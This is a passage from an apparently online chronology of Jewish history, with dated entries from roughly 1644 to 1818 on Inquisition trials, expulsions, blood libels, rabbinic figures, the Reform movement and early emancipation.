Judaism by the outrages of the Inquisition. He was arrested in Valladolid for his inclinations toward Judaism. During his five years in prison he resisted all attempts to get him to change his ways. He changed his name to Judah the Believer and even circumcised himself with a bone. On July 25, 1644 he was burned alive for refusing to yield to the Inquisition. He chanted Hebrew prayers during the procession. Even while the flames were burning he was heard reciting the psalm "Unto thee oh Lord do I lift my soul". The Inquisitor Mirezo wrote: "He was the greatest Jewish heretic that I think has been in the church." 4018 1648 DIEGO TEIXEIRA (ABRAHAM SENIOR) (Portugal-Germany) A former Spanish diplomat, he decided after moving to Hamburg to return to Judaism and had himself and his sons circumcised. Despite a vicious denunciation by the Viennese court, the Hamburg senate refused to confiscate his property and wealth. Teixeira founded the international banking house that became known as Teixeira de Mattos. In 1655 he was appointed by Sweden as its local diplomatic and financial minister. Teixeira was active in the Jewish community and helped build the new Sephardic synagogue in Hamburg. 4023 1649 ENGLAND The first petition to re-admit the Jews to England was presented to Lord Fairfax. The petition by Johanna and Ebenezer Cartwright called for "Repealing the Act of Parliament" for their banishment from England. Unfortunately, due to the turmoil in England and the execution of King Charles, the petition was never given a hearing. 4025 1649 MEXICO The largest Auto da Fe in the New World was held with 109 victims. All but one of them were accused of Judaizing. It was the largest number of Jews ever convicted in the New World. Thirteen were burned alive and 57 in effigy. Of the thirteen, twelve "repented" and so were garroted before being burned. Tomas Trevino, whose mother and wife had also been killed by the Inquisition, refused. For the most part this ended the prominence of crypto-Jews in Mexico. 4026 1654 CUENCA (Spain) 57 Marranos were taken to the Auto da Fe; ten were burned to death. One of them, Balthasar Lopez, announced as he was taken to the stake "I don't believe in Christ even if you bind me." He had returned recently from Bayonne to persuade his nephew to return to Judaism when he was captured by the Inquisition. 4040 1655 ENGLAND Menasseh ben Israel was invited to London by Oliver Cromwell to negotiate the resettlement of the Jews. William Prynne succeeded in officially postponing the resettlement for a couple of years. Cromwell's change of heart was partly due to the rise of Puritanism, which emphasized literal application of the Old Testament. 4043 1655 RUSSIA The Russians took Vilna. As part of the peace settlement between Chmielniki and Czar Alexis, the east bank of the Dnieper became part of the kingdom of Moscow. The Jews of Vilna were once again subject to expulsion and murder. 4046 1655 THE WEST INDIA COMPANY (North American Colonies) Refused to accept Dutch governor Peter Stuyvesant's request to ban the settling of Jews in New Amsterdam. In their letter, they relate to the "large amounts of capital which the Jews have invested in the shares of this company" therefore "these people (Portuguese Jews) may travel and and remain there provided the poor shall not become a burden to the company or the community." 4044 1656 SPINOZA (Holland) Was excommunicated in Amsterdam. Spinoza had been accused - together with Juan de Prado - of denying the being of Angels, the immortality of the soul and that the Torah was given by God. De Prado apologized but Spinoza refused to do so. The council forbade anyone to communicate with him in any fashion or to read any of his books. 4052 1657 SPALATO (Split, Croatia) Jews had lived in this city since the third century. During the Turkish attacks against Venetian rule, the Jews so distinguished themselves that one of the city's towers became known as the "post of the Jews". 4056 1658 MARYLAND (North American Colonies) Jacob Lumbrozo, a doctor and the first Jew known to have settled in the colony, was arrested under the Toleration Act of 1649 (act concerning religion). This act imposed the death penalty for anyone denying the basic tenants of Christianity. Though Lumbrozo was saved by a general amnesty, proclaimed by Richard Cromwell it was not until the \"Jew Bill\" passed in 1826 that Jews could hold public office without submitting to a Christian oath.rnrn 4058 1660 ZEVI ASHKENAZI, MANAH ZEVI (Moravia) Fled Vilna on the arrival of the Cossacks. He left Buda in 1686 after his wife and sons were killed during the siege. Arriving in Sarajevo, he became the rabbi and started a school in Alfona. Zevi served as rabbi in Amsterdam, London and Lemberg, and was an opponent of Shabbetai Zevi. His son, Yaakov Emden, later became a famous scholar and was involved in a controversy over Shabbetai Zevi with Jonathan Eybeshutz. 4059 1663 MATTATHIAS CALAHORA (Poland) A renowned physician had been accused by Friar Servatius of "blaspheming the virgin" Although there was no testimony aside from the Friars , he was tortured and burned at the stake. His ashes were dispersed to prevent him from having a proper Jewish burial. Despite this, enough of his remains were found for a burial to take place. 4064 1666 EXCOMMUNICATION OF NATHAN OF GAZA (Constantinople) Shabbetai Zevi's foremost "prophet" was excommunicated by the rabbinical council in Constantinople. 4072 1666 SHABBETAI ZEVI (Ottoman Empire) The Sultan, aware that by killing Shabbetai Zevi would turn him into a martyr, "convinced" Zevi that converting to Islam was in his best interest. On this day, he was brought before the Sultan where be took off his Jewish head dress and replaced it with Turkish turban. The repercussions of his conversion sent shock waves throughout the Jewish world and were to be felt for many years. Some of his followers claimed that it wasn't really him who converted. Others professed that, by going to Islam to redeem them as well, he had proved that he was the Messiah. 4071 1670 METZ (France) Raphael Levy, a peddler, was accused of killing a Christian child for sorcery and was tortured to death. A former Jew, Paul du Vallie, son of a renowned physician, leader in the Jewish community, helped to convict him. King Louis XIV later declared it to be "judicial murder" and demanded that all such cases be brought before the king's council. 4077 1670 VIENNA (Austria) Leopold I ordered Jews to be expelled within a few months. Although Leopold was reluctant to lose the large amount of taxes (50,000 Florins) paid by the Jews, he was persuaded to do so by Margaret, the daughter of, Phillip IV, the Spanish Regent and a strong follower of the Jesuits. (see 1630, Samuel Oppenheimer). Margaret blamed the death of her firstborn on the tolerance shown to the Jews. 4078 1671 FREDERICK WILLIAM "THE HOHENZOLLERN" (The Great Elector) (Germany) Became the Margrave of Brandenburg. On September 10 of that year, he re-admitted 50 wealthy Jewish families from Austria to the capital, Berlin. Although they were permitted to live and trade where they wished, they had to pay a protection tax of 8 Thalers per person per year and a gold florin for every wedding and funeral. In addition, Jews were not allowed to sell their houses to other Jews, and were permitted to have prayer rooms, but no synagogues. 4081 1673 ENGLAND According to the Conventicle Act of 1664, any prayer meeting of more the five persons that was not according to the Book of Common Prayer would be considered seditious. The act had been originally designed as a device against the Puritans, but soon Jews were prosecuted as well. The Jews requested from the King to either be allowed freedom of worship or to be allowed to leave the country with their possessions. Charles II ordered the Attorney General to desist from prosecuting the "offenders". 4084 1675 AMSTERDAM (Holland) The new synagogue "Talmud Torah" was inaugurated with a great ceremony. Amsterdam had over four thousand Jewish families at that time. The synagogue is still in existence today. 4085 1678 YEMEN Iman-Ahmed he Hassan offered Jews the choice of either converting or being expelled to a hot barren land near Aden known as Mawza. The iman also closed all synagogues and prohibited public prayer by Jews. They were allowed to return one year later, though it is estimated that 2/3 of them did not survive the year. Upon their return, they found their homes occupied by Moslems. Many of the smaller communities disappeared and were not rebuilt. Among the exiles was Shalem (Shalom) Shabazi, who wrote over 550 historical, ethical and religious poems. He is considered the greatest Yemenite Jewish poet. 4086 1680 JACOB JOSHUA FALK (Cracow-Galicia-Eastern Europe) Known by the name of his most popular novellae work, Penai Yehoshua (Face of Joshua) on the Talmud (not to be confused with Joshua Heshel Ben Joseph's Pnai Yehosuah on the Shulchan Aruch 1578). After the death of his wife and family in a fire, he decided to apply himself totally to his studies and accepted the post of rabbi in Lemberg. There he fought against the influence of Sabbatianism. He also wrote Sefer Minchat Ani on the Talmud, and Klal Gadol, which deals with the idea of a majority in halachic issues. 4091 1680 MADRID (Spain) An Auto da Fe was held in honor of the marriage of Carlos II to Louis Marie d'Orleans. It lasted 14 hours and was the last time that a "royal" Auto was held. The king himself set light to the quemadero (burning place). His successor, Philip V, refused the "honor". 4090 1688 YUSUF (Joseph b. Isaac) YAHUDI, (Bukhara) Persian Poet who wrote in Hebrew characters. His many works include Haft Braderan ("The Seven Brothers") based on the Midrash of the martyrdom of seven brothers and their mother, as well as Mukhammas in praise of Moses. He was also a prolific translator and was responsible for translating many zemirot for Judeo-Persian songbooks. 6362 1690 JONATHAN EYBESHUTZ (Poland-Bohemia) Kabbalist, author and rabbi. He became head of the Prague yeshiva at the age of twenty-one and was considered a brilliant authority on many subjects. Eybeshutz came under the influence of Sabbatianism and was later forced to publicly repudiate his views. He accepted a position as the rabbi of three communities at the same time: Altona, Hamburg and Wandesbeck. 4107 1691 PALMA DE MAJORCA In Palma Majorica, after one hundred and fifty years of freedom from the Inquisition, an investigation led to the conviction of 219 people. All agreed to be reconciled with the Church. When they tried to flee the island 37 were burned to death, since it was considered a relapse to heresy. Among them were Raphael Benito and his sister Catalina, who, though declaring that she did not want to die, jumped into the flames rather than be baptized. Her steadfastness of belief was made into a ballad which is still sung on the island today: "She leaps into the flame. At the brink she cries, Oh brother mine, take courage your heart will not scorch." 4108 1698 JOSEPH SUSS OPPENHEIMER (Jud Suss) (Germany) He was responsible for the financial planning of Karl Alexander, the Catholic ruler of Protestant Germany. After Karl's death, he was accused, among other things, of trying to bring back Catholicism. He had lived a life of opulence and had no dealings with his religion or his fellow Jews. Despite this, the community tried to ransom him to no avail. He returned to Jewish beliefs while in prison and died while reciting the Shema. (See 1738) 4114 1700 ISRAEL BEN ELIEZER (THE BAAL SHEM TOV) (Medzibezh, Poland-Lithuania) Founder of the Hasidic movement. Orphaned at a young age, he was raised by the Jewish community and spent much of his time alone in the nearby forests. After he married, he moved to the Carpathian Mountains and then to a small town where his wife set up an inn. At age 36, he revealed himself to the community as a healer and a comforter. He received the name "Baal Shem Tov" (Master of the Good Name) and was simply called the "Besht". His major philosophy consisted of worshipping G-d with joy and believing that simple prayers, when uttered in earnest, were more important that extreme intellectualization. The Besht believed that Tzaddikim, or righteous ones, were sent by G-d to guide the people. Though he left no writings of his own, he was immortalized by the often miraculous and magnified stories of his life told by his closest followers. The Baal Shem Tov did not have any children. His closest pupils set up "courts" and established Hassidic dynasties with different variances but in all adhering to the principles of Hassidism he laid down. 4118 1700 SOLOMON DE MEDINA (c. 1650-1730) (England) Was knighted by William III of England. Medina was the first professing Jew to receive a knighthood. Medina had helped finance what became known as the "glorious revolution" which installed William of Orange and Mary (the daughter of James II) on the throne. Their rule ended any hope for a restoration of catholic rule in England. 4116 1712 JEAN JACQUES ROUSSEAU (Geneva, Switzerland) One of the leaders of the Romanticists, which was a reaction to the philosophy of Rationalism. He was profoundly influenced by Spinoza (1632-77). 4127 1713 RABBI EZEKIEL LANDAU (Prague, Bohemia) Brilliant talmudist and halachic authority. Landau was also unusual in that he endorsed the idea of learning math and science, and supported the traditionalist element within the Haskalah Movement. Landau helped to establish the first Jewish school in Prague. His Magnum Opus is called the Nodeh B'Yehuda, which is still very popular today. It contains eight hundred and fifty-five responsa divided into two volumes. 4128 1720 MADRID (Spain) In one of the last major Auto da Fe's in Spain, twenty families were accused of meeting in a private synagogue. Five Marranos were burned alive. Over the next seven years, there were 868 cases thoughout Spain. Of those cases, 75 people accused of Judaizing were taken to the Auto da Fe. (see 1752) 4132 1720 ZERAH BEN MEIR EIDLITZ (Prague) Rabbi, preacher, and mathematician. Eidlitz, a student of Jonathan Eybeshutz, was renowned for his sermons, some of which were preserved in his Or la-Yesharim. He wrote a textbook on math in both English and Hebrew called Melekhet Mahashev. Wealthy at first, he used his funds to support others. Eventually he lost all his resources but refused to accept any charity for himself. 4135 1724 HAYIM JOSEPH DAVID AZULAI (the Chidah) Halachist, kabbalist, emissary, and bibliographer. Azulai traveled as an emissary of the Jewish community in Eretz Israel, especially Hebron. He visited Italy, Germany, Holland, France and England. While on his travels, he visited numerous libraries, noting their contents. His is renowned for his halachic commentary on the Shulchan Aruch (Berkei Yosef) and Machzik Beracha. In addition, he kept notes on all his travels, including ideas that came to him as well as people he met. Azulai also collected Jewish folk stories which he published in his Zichron Maasiyyot V'Nissim. 4140 1725 NAPHTALI HERZ WESSELY (Germany) Poet, contributor to the HaMeassef and leader of the Haskalah (Enlightenment - Reformers) Movement. 4141 1729 GOTTHOLD LESSING (Germany) Poet, philosopher and playwright. Although a strong believing Christian, he advocated religious tolerance. His plays portrayed the Jews as decent, admirable people (Die Juden, 1749). His last play was Nathan the Wise (see 1804). 4148 1730 PINHAS HOROWITZ (Ba'al ha-Hafla'ah) (Poland-Germany) Rabbi and scholar. Despite his hasidic leanings Horowitz was appointed the rabbi of Frankfurt (see 1772). There he was widely respected for his piety and his vast knowledge. His title "Ba'al ha-Hafla'ah" (author of the Sefer Hafla'ah) was based on his classical works of halachic pilpul in three volumes. Among his students was Moses Sofer (see 1762). 4151 1731 YESHIBAT MINHAT AREB (New York Colony) Became the first Jewish day school founded in North America. The hazzan who taught the classes was instructed to teach the students "the Hebrew Spanish and English writing and arithmetick." Eventually its name was changed to the Polonies Talmud Torah. 6257 1738 JOSEPH OPPENHEIMER WAS HUNG (Germany) Oppenheimer, the finance minister (see 1698), was arrested after the sudden death of Prince Karl of Wurttemberg. He was offered a pardon if he agreed to be baptized. Although not a practicing Jew, he refused and was placed in a cage in the center of Stuttgart declaring: "I will die as a Jew. I am suffering violence and injustice." He died while shouting "Shema Yisrael." 4156 1739 PORTUGAL Antonio Jose da Silva, a well-known dramatist, was burned at the stake for alleged heresy. Da Silva, whose parents had also been persecuted by the Inquisition, was arrested numerous times and tortured. Although the King himself was inclined to leniency, he was burned while one of his plays was being performed in a popular theater in Lisbon. 4158 1740 JACOB WOLF KRANZ OF DUBNO (the Dubno Maggid) (Ukraine) Scholar, preacher and author. He was renowned for his brilliant composition and use of homiletics. It is told that when the Vilna Gaon was very ill, he sent for the Dubno Maggid to read his interpretations and parables at his bedside. He settled in Vilna at the request of the Vilna Gaon. His parables on the Pentateuch were published in Ohel Yakov (Tent of Jacob). 4161 1740 LEVI YITZCHAK OF BERDICHEV (Russia) A great Hasidic Rebbe, leader and scholar. He studied under Dov Ber, the Maggid of Mezhirech, and became one of his close friends. Levi Yitzchak stressed the joy in serving God, emphasizing the idea of connecting to God through fervent prayer. He always accentuated the good and the positive that was in people. Levi Yitzchak composed Hasidic music and was immortalized by his vivaciously optimistic parables. 4162 1742 CZARINA ELIZABETH PETROVNA (Russia) (daughter of Catherine I and Peter the Great of Russia) Expelled 35,000 Jews from parts of Russia. When advised of the financial loss she allegedly responded, "I do not want any benefit from the enemies of Christ." 4167 1745 SHNEUR ZALMAN (Lyady/Liadi, Russia) Founded an intellectualized form of Hasidism called Habad (Chabad). The name is derived from the initials Chachma (wisdom), Binah (understanding) and Daat (knowledge). His intention was to bridge the gap between the Mitnagdim and the Hasidim, combining intellectualism and mysticism. His Lekutei Amarim (Collected Sayings) became known as the Tanya and is one of the important study texts of the Habad (Chabad) Hasidim. 4171 1748 ABRAHAM DANZIG (Vilna, Lithuania) Condensed Caro's Shulchan Aruch into an everyday guide. The guide is divided into two sections; Chayei Adam (Life of Man), i.e. prayers and Sabbath based on the Orah Chaim and Chochmat Adam (Wisdom of Man), dealing with dietary laws based on the Yoreh Deah. 4173 1749 COUNT VALENTINE POTOCKI (Lithuania) Was burned at the stake in Vilna. The Count, along with his friend Zeremba, had met an old Jew in a tavern and promised to convert if he could convince them of the pre-eminence of Judaism. Potocki converted and eventually settled in Vilna. Zeremba, hearing that his friend converted, did likewise and moved to Eretz Israel. Potocki's presence in Vilna became known and he was put on trial for heresy. He refused to recant and was burned at the stake. His ashes were collected and buried in Vilna. On his tomb is written "Abraham Ger Zedek" (a righteous proselyte). The Jews of Vilna would visit his grave and say Kaddish. 4175 1750 FREDERICK II OF PRUSSIA (Germany) Issued a general patent to the Jews that limited them to commerce and industry. Jews were no longer to be considered dependents of the king but rather of the State. Jews, on the one hand, were encouraged to be part of the State and its economy, while on the other hand they were still second class citizens who were divided into two classes - privileged and protected. An "enlightened monarch", Frederick wrote his Political Testament (published in 1752) in which he described Jews as dangerous, superstitious, and backward. 4179 1754 SOLOMON MAIMON (Silesia-Lithuania) Inspired by Maimonides' Moreh Nevuchim (Guide to the Perplexed), he adopted the name Maimon, abandoned religion, embraced philosophy, and embarked on the life of a wanderer. During his lifetime, he met with some of the greatest minds of his day, including Moses Mendelssohn. Among his works are a critique on Kant and a commentary on Maimonides entitled Givat Hamoreh (Hill of the Teacher). He correctly predicted that "the Christians won't say Mass and the Jews won't say Kaddish at my grave." His autobiography (Lebensgeschichte) provided important insights into 18th Century Polish Jewry, particularly the Hasidic Movement. 4183 1755 LISBON (Portugal) Jeronimo Jose Ramos, a merchant from Braganza, was the last known Jew to be burned alive for secretly practicing Judaism. He had escaped the previous Auto da Fe in September of 1752. 4184 1757 BURNING OF THE TALMUD IN KAMENETS-PODOLSKI (Poland) Jacob Frank, a follower of the false Messiah Shabbetai Zevi, had begun his own movement which emphasized the Kabbalah and denigrated the Talmud. His practices, some of which were sexual in nature, were condemned by the local Rabbinate. In revenge, he arranged a dispute in Lvov (June 20) between himself and the local Jewish leaders. Bishop Nicholas Dembowski, who presided over the disputation, ruled in favor of Frank and ordered all copies of the Talmud found to be dragged through the streets and burned. Around 1000 copies of the Talmud were destroyed. Within a few years, many of Frank's followers converted to Christianity. 4188 1758 JACOB ZELIG (Poland) After a blood libel, he convinced Pope Benedict XIV to start an investigation. Cardinal Ganganelli (Clement XVI) wrote an unequivocal condemnation of the libels and asked the Holy See to intervene in Poland to stop the accusations. 4189 1759 MOSES BEN ZVI TEITELBAUM (Hungary) Hasidic rabbi, scholar and founder to the dynasty of Hasidic rabbis in Hungary and Galicia. Teitelbaum, a student of the Seer of Lublin, was one of the first to spread Hasidism to Hungary. His two most famous works are the Hasidic classic Yismach Moshe (Moses Rejoices) and Heshiv Moshe (Moses Responds), a responsa. 4192 1760 BOARD OF DEPUTIES OF BRITISH JEWS (England) Was founded. It is the oldest Jewish communal organization in Great Britain. All Jews, whether Ashkenazi or Sephardi (and later the Reform) could elect their deputies, who would in turn represent the entire community. Membership was originally based on synagogues, but much later other organizations were added. 4193 1761 AKIVA EIGER (Posen, Germany) Renowned halachic and talmudic scholar, Eiger was one of the leading talmudists in the first half of the nineteenth century and a strong opponent of the Reform movement. His devotion to the sick, at risk to his own life during a cholera epidemic, earned him the recognition of Frederick William III of Prussia. 4194 1762 CATHERINE II (Russia) Permitted foreigners to settle and travel in Russia "Kromye Zhydov". Only Jews were forbidden. 4196 1762 RHODE ISLAND (North American Colonies) Although considered more liberal than other states, and despite the fact that a few Jews had previously been granted citizenship, the court refused to grant it to Aaron Lopez and Isaac Eliezer, stating that "no person who is not of the Christian religion can be admitted free to this colony". Lopez was granted citizenship by Massachusetts and the sentence "upon the true faith of a Christian" was excluded from the oath. Lopez was probably the first Jew to be granted citizenship in Massachusetts. 4195 1764 DANIEL MENDOZA (England) Known as the "father of scientific boxing". Mendoza was proud of his Jewish heritage and billed himself as "Mendoza the Jew". He became one of England's greatest boxing champions and the first boxer to win the patronage of the Prince of Wales. 4201 1764 STANISLAV PONIATOVSKY (Poland) The last King of Poland, with the backing of the Polish Sejm, abolished the Council of the Four Lands and imposed a poll tax (see 1520). 4199 1765 PORTUGAL The last "public" Auto da Fe (Act of Faith) was held. The latest recorded Auto da Fe in Portugal was held in 1791 and the last in Valencia, Spain was held in 1826. 4202 1768 ISRAEL JACOBSON (Germany) The "Father of Reform", he was also the financial agent of Jerome Bonaparte, King of Westphalia. He organized the first Reform service and later founded the first Reform Temple with the help of Jacob Herz Beer. Jacobson was a strong believer in inter-racial association, and in 1801 established a school for Jewish and Christian children in the Herz mountains. The Reform movement was also known as the "Liberal" or "Progressive" movement. It developed partly out of the political and cultural emancipation of Jews in Western Europe. Although Jacobson sought a basis for his ideas in traditional Judaism, the Reform movement soon sought to distance itself from Orthodoxy, nationalism, and the authority of the written and Oral Law and concentrate on the "universal" aspects of Judaism. (See 1806, 1810, 1885) 5494 1772 POLAND WAS PARTITIONED This was the first of three partitions (1772, 1794, 1795). The Ukraine went to Russia, Galicia to Austria (whose Jewish population now doubled), and Lithuania to Prussia. Thus Catherine II inherited many of the same Jews she was trying to be rid of. Each monarch made an effort to integrate and assimilate its Jews into the "State of Order" and central administration, thus abolishing self-rule for the most part. 4207 1775 JUDAH TOURO (USA) Merchant-philanthropist. Judah Touro moved to New Orleans at the age of 22 and became a successful trader. He enlisted in the War of 1812 under Andrew Jackson and was wounded in the defense of New Orleans. Touro never married but left large funds (estimated $500,000) for various philanthropic purposes. Some of them included completing the Bunker Hill monument, enclosing the Jewish Cemetery in Newport, Rhode Island, and numerous almshouses and Jewish congregations in New Orleans and other cities. His funds joined with Montefiore's to help build the first housing complex outside the walls of the old city of Jerusalem, Mishkenot Shananim. 4215 1776 DECLARATION OF INDEPENDENCE OF THE UNITED STATES OF AMERICA This document provided the basis for religious tolerance in most other countries. While there were less than 2,500 Jews within the colonies, approximately 600 Jews participated in the revolution including 24 officers and the great-grandfather of Supreme Court Justice Cardozo. Isaac Franks, David Salisbury Franks and Solomon Bush all attained the rank of lieutenant colonel. One company in South Carolina had so many Jews that it was called the "Jews Company". 5730 1783 HUNGARY Joseph II allowed Jews to live in the "Royal cities", including Pest. By 1787, 81,000 Jews lived in Hungary. 4227 1784 SIR MOSES MONTEFIORE (Italy-England) Sheriff of London and leading Jewish figure. Wealthy in his own right, he married into the Rothschild family and was extremely successful in his financial ventures. He retired at an early age (1824) and devoted his life to serving Jewish causes. He is noted for his numerous visits to Eretz Israel, contributions to many philanthropies, and intercessions into Jewish affairs. One of his greatest successes was his interference in the Damascus Affair (see 1840). He is credited with founding numerous agricultural settlements in Eretz Israel and the first Jewish quarter outside the old city walls (Mishkenot Shaananim). He added the top levels to the Kotel (Western Wall) to prevent Arabs from throwing garbage and stones on Jews praying at the Wall, and he rebuilt Rachel's tomb. 4232 1785 NACHMAN KROCHMAL (Galicia) Tried to formulate a philosophy of Jewish history. He wrote the Guide for the Perplexed in Our Times. He endeavored to explain a Jewish philosophy of history using the mission theory. Together with Leopold Zunz he was part of the Wissenschaft des Judentums(The scientific investigation of Judaism/Hohmat Israel) movement which endeavored to study Judaism through modern methods of research. 4234 1787 JOSEPH II (Austria-Hungary) As part of his "Aufklarung" (Enlightenment)policy, he forced the Jews to adopt family names. This was part of the European movement (including the Age of Reason in France) which encouraged rationality and science over religion. 4239 1794 LEOPOLD ZUNZ A friend of Heine and Boerne and an eminent scholar. He sided with Frankel's reformers in a vote for tradition. Zunz founded (along with Krochmal) the Wissenschaft des Judentums (The scientific investigation of Judaism) in 1819. As an author, he pleaded for public (secular) recognition of Jewish literature, "Jewish Science". Zunz wrote a biography on Rashi, traced the development of liturgical literature, wrote Bible criticisms, and discoursed on many other subjects. 4260 1794 THADDEUS (TADEUSZ) KOSCIUSZKO (Poland) Praised the role played by Jews in his abortive revolt against Russia. Singling out Warsaw's Jews he wrote, "(they showed) to the whole world that when it comes to human rights they do not spare their blood". As part of his revolt he granted Joseph Aronowicz and Berek Joselowicz (see 1765) permission to form a Jewish legion. Five hundred men volunteered to a call to arms issued in Yiddish, and fought in Praga, a suburb of Warsaw. 4259 1797 PADUA (Italy) Four months after the entry of the French army, the provisional government decreed that "Jews are able to live in every part of the city." Jews enlisted in the National Guard and the main street in the ghetto was changed to Via Libera. Unfortunately, as in most parts of Italy, this newly won freedom only lasted until the arrival of Austrian troops 8 months later. 4270 1798 EDUARD GANS (Germany) Jurist and one of the founders (along with Zunz and others) of the Verein fuer Cultur und Wissenschaft der Juden (Society for Jewish Culture and Science). Gans' contribution to jurisprudence was a series of papers concerning the Jews of Rome and Roman Law. 4275 1798 ROME (Italy) After the occupation of Rome by General Berthier, the local republicans dethroned the Pope and Jews removed the yellow badge. Two days later, a tree of freedom was planted in front of the synagogue. 4272 1799 NAPOLEON CAPTURED GAZA (Eretz- Israel) This was his first encounter with "Palestinian" Jews. It is said that he offered "the re-establishment of ancient Jerusalem" as a Jewish homeland in return for Jewish loyalty. 4277 1801 BUCHAREST (Romania) A blood libel led to the death and wounding of 128 Jews. 4281 1802 HAYIM VOLOZHINER (Belorus, Russia) Founded the Volozhin Yeshiva. Rav Hayim introduced in his school the hevruta style of study whereby one learns with a colleague rather then by oneself. Volozhin soon gained a reputation as one of the greatest Jewish centers of learning in the world. With its strict entrance exams and insistance on a high level of consistency, the school soon became the model for other schools of its kind, e.g. Mir (1815), Radun (1869), Telz (1875) and Navaredok (1896). 4284 1804 SALOMON SULZER (Austria) "Father of Modern Hazzanut and Synagogue Music". The first to call himself cantor instead of Hazzan, he was a friend of Franz Shubert and one of the first to interpret Shubert's music. 4290 1807 ABRAHAM MAPU (Slobodka, Lithuania) First modern Hebrew novelist and one of the leaders of the Haskalah Movement in Eastern Europe. His most famous book was called Ahavat Zion (Love of Zion) which described the longing of the Jewish people for a better life. The book quickly went though 16 editions and was translated into nine languages. Aside from four novels, he also wrote three textbooks, all of which showed his creative talents. 4299 1807 PARIS (France) First meeting of the Napoleonic Sanhedrin under the leadership of the Assembly of Jewish Notables. It opened amid great pomp and celebration under the direction of the financier Abraham Furtado. The Sanhedrin was modeled on the ancient tribunal in Jerusalem and consisted of 71 members; 46 Rabbis and 25 laymen. Rabbi David Sinzheim of Strasbourg was its president. 4297 1808 CANADA Ezekiel Hart (1767-1843), though elected to the Canadian parliament, was prevented from taking his seat because, as a Jew, he could not take the oath "on the true faith of a Christian." Though re-elected in May 1808 and in April 1809, he was prevented from being seated each time. Only in 1832 did legislation pass allowing Jews to hold public office and giving them full civil rights. 4301 1808 DUCHY OF WARSAW (Poland) With Napoleon's arrival, the new State parliament called for equal rights. Unfortunately, this did not include the Jews, whose rights would be postponed for 10 years "in the hope of eradicating all their distinctions which set them apart". 4303 1809 MEIR LEIBUSH MALBIM (Chief Rabbi of Bucharest) (Romania) Rabbi and commentator. His commentary on the Bible, showing the close relationship between the Oral and the Written Law, is widely used today. He also authored Hatorah V'Hamitzva, Ayelet Hashachar and other works. Malbim fought vociferously against the Reform movement, which had been making strong inroads in German Jewry, to the extent that he was briefly imprisoned. In Vilna, Moghilof, and Koenigsberg he was declared persona non grata by the local people. 4313 1810 ABRAHAM GEIGER (Germany) Author and Bible critic, he helped to inspire the Jewish Reform movement. He was elected Rabbi of Breslau in 1840 and was one of the founders of theJuedisch-Theologisches Seminar in Breslau, the first reform rabbinical seminary in Central Europe. He eventually refused to preach to the Breslau reform congregation, feeling that they had gone too far with their reforms. Geiger viewed Judaism as a religion divorced from national aspirations, so much so that he was against Jewish political solidarity during the Damascus Affair. Although he considered circumcision "barbaric" he was against its elimination in the same way that he was against changing the Shabbat to Sunday. His works include Das Judenthum und seine Geschichte (Judaism and its History) as well as studies on Maimonides, the Karaites, and the influence of Judaism on Islam. 4315 1810 FIRST REFORM SERVICE (Germany) Was organized by Israel Jacobson in Seesen, Germany. Five years later, he began Reform services in his home in Berlin where he introduced prayers in German. 4314 1810 HAYIM SELAG SLONINSKI (Bialystok, Poland) Known as "Hazas". Orthodox mathematician and science writer. His works included Kochva d'Shavit on astronomy, Toldot ha-Shamayim on the calendar and Yesodai Hochmat Hashiur (Founding of the Science of Calculation). He founded Ha'Zefira, a Hebrew newspaper on science. His writings were accepted even by Orthodox Jews. 4317 1812 WAR OF 1812 Was declared by Congress. During the war, John Ordroneaux, a naval commander, sank five British ships in one battle and was raised to the rank of commodore. In 1814, at the Battle of Fort McHenry, there were 30 Jews in the garrison. Its defense inspired the composition of the "Star Spangled Banner". Another Jew, Captain Mordecai Myers, became a hero when he saved more then 200 men, as well as most of the supplies from sinking boats. He later became one of the first Jews to settle in western New York. 5650 1812 MOSES HESS (Germany) Author, socialist, and forerunner of the Zionist movement. In his book Rome and Jerusalem (1862), he based German anti-Semitism on race and nationhood and advised Jews to accept the fact and revive their own state in Eretz Israel. Hess, a socialist, orginally worked with Marx and Engels but grew disillusioned with the idea that a "progressive society would eradicate anti-Semitism". 4325 1815 NAPOLEON'S DEFEAT AT WATERLOO, CONGRESS OF VIENNA The immediate effect on the Jews of Napoleon's deposition was a return to their previous lack of freedom. At the Vienna Congress, Jews sent a Christian attorney, Carl Buchortz, to act on their behalf. An agreement was reached whereby "Jews were given rights in proportion to accepting the duties of citizenship." This was the first time that Jewish rights became a European political issue. 4331 1816 EDWARD DAVIS ("Teddy the Jewboy") (Australia) Australian Highwayman. Davis was born in London and deported to Australia in 1832 for stealing five shillings. After his arrival in Australia he escaped and organized a gang of runaway convicts known as the Teddy and the Jewboy gang. Davis was considered a kind of "Robin Hood" for his help to the poor, polite language, and refusal to engage in violence. Although Davis only used force in self-defense, his luck failed him when in December 1840, one of his men killed a shopkeeper. Davis and five of his men were caught and convicted. He was accompanied by the hazzan of the Sydney Synagogue when he was hung. His brother John was at the same time police chief in Penrith and his nephew became speaker of the Tasmanian House of Assembly. Many former deportees formed the basis for the Australian Jewish community. 4337 1816 SAMUEL SALANT (Chief Rabbi of Jerusalem) (Eretz Israel) The son-in-law of Joseph Salant. He arrived in Jerusalem in 1841 and proceeded to become one of the most influential figures in Eretz Israel. During his time as chief rabbi, the population of Jerusalem grew from 5000 to 30,000 Jews. Salant was behind the establishing of educational facilities which would include instruction of Arabic and Hebrew. He was one of the founders of Bikur Holim (Cholim) hospital and encouraged people to move into the "new" neighborhoods outside the old city walls. 4340 1817 ISAAC ELCHANAN SPECTOR (Kovno, Russia) Considered the leading Russian rabbinic scholar of his day. Spector, who was active in many aspects of Jewish life, was a supporter of the Hovevei Zion movement, declaring it a mitzvah (religious duty) to settle in Eretz Israel. He fought for the right of Jewish soldiers to obtain kosher food and against a ban on ritual slaughter proposed by the Russian government. His considerable responsa were published in three parts: Beer Yitzchok, Nachal Yitzchok, and En Yitzchok (the Well, Stream, and Spring of Isaac). 4346 1817 NAPHTALI ZEVI YEHUDA BERLIN (the Netziv) (Belorus, Russia) Head of the Volozhin Yeshiva, which grew to over 400 students during his time. He was both a scholar and an organizer, and the yeshiva reached its zenith under his guidance. His works include Emek Davar, a commentary on the Torah, and Emek Hanatziv, a commentary on the Sifri. He was among the first religious leaders to encourage weekly study of the Torah portion. He joined the Hovevei Zion movement, which urged Orthodox Jews to support settlement in Eretz Israel. In 1892 the Russian government closed his yeshiva, and he felt that his place was with his community despite his great desire to go to Eretz Israel. His health rapidly deteriorated and he died shortly after. 4344 1818 HAMBURG (Germany) Dedication of the Reform Temple, the first temple established specifically for that purpose. A year later, the temple composed a new prayer book, deleting any mention of the Messiah and the return to the Holy Land. 4347 1818 KARL MARX (Father of Communism)(Germany) Converted to Protestantism as a 